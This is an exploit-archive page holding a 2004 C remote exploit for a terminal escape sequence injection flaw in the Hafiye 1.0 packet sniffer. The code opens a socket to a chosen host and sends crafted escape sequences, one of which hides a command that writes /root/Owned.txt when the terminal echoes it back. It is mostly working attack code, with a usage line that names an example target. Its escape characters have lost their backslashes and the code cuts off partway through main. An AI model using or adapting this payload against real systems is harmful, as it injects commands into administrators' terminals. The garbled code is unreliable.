[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Hafiye 1.0 Remote Terminal Escape Sequence Injection Vulnerability
# Published : 2004-08-25
# Author : Serkan Akpolat
# Previous Title : Gaucho 1.4 Mail Client Buffer Overflow Vulnerability
# Next Title : Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit
/* Remote Exploit for Hafiye-1.0
** Terminal Escape Sequence Injection Vulnerability
** Written by Serkan Akpolat
** Homepage: http://deicide.siyahsapka.org
** E-mail: deicide siyahsapka org
** Greets: Virulent, gorny and all other netricians
*/
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
typedef struct _target {
char *host;
u_short port;
unsigned int sequence;
unsigned int cnt;
} target;
char *esc_sequence[]= {"Escape Sequences",
"x1b""]2;Insecure?""x07x0a",
"x07x07x07x07x07x07",
"x1b""]2;;echo Owned > /root/Owned.txt"
"x07x1b""[21t""x1b""]2;xterm""x07"
"Abnormal Termination""x1b"
"[8m;""x0a"};
char use[] ="t[ -h host ] [ -p port ] [ -e esc-seq-n ] [ -l number ]n"
"t Escape Sequences :n"
"t1-Change TitleBar Text to "Insecure?"n"
"t2-Ring The Belln"
"t3-Hidden Prompt to Create Owned.txt in /rootn"
"tExample: ./exp -h 192.168.0.3 -p 80 -e 1 -l 1n";
void usage()
{
printf("%s",use);
exit(1);
}
int connect_to_host(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
herror("Error:");
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
exit(1);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
exit(1);
printf("[+] Connected to %sn", host);
return sock;
}
int main(int argc, char **argv)
{
int i;
int sock = 0;
char buf[256]="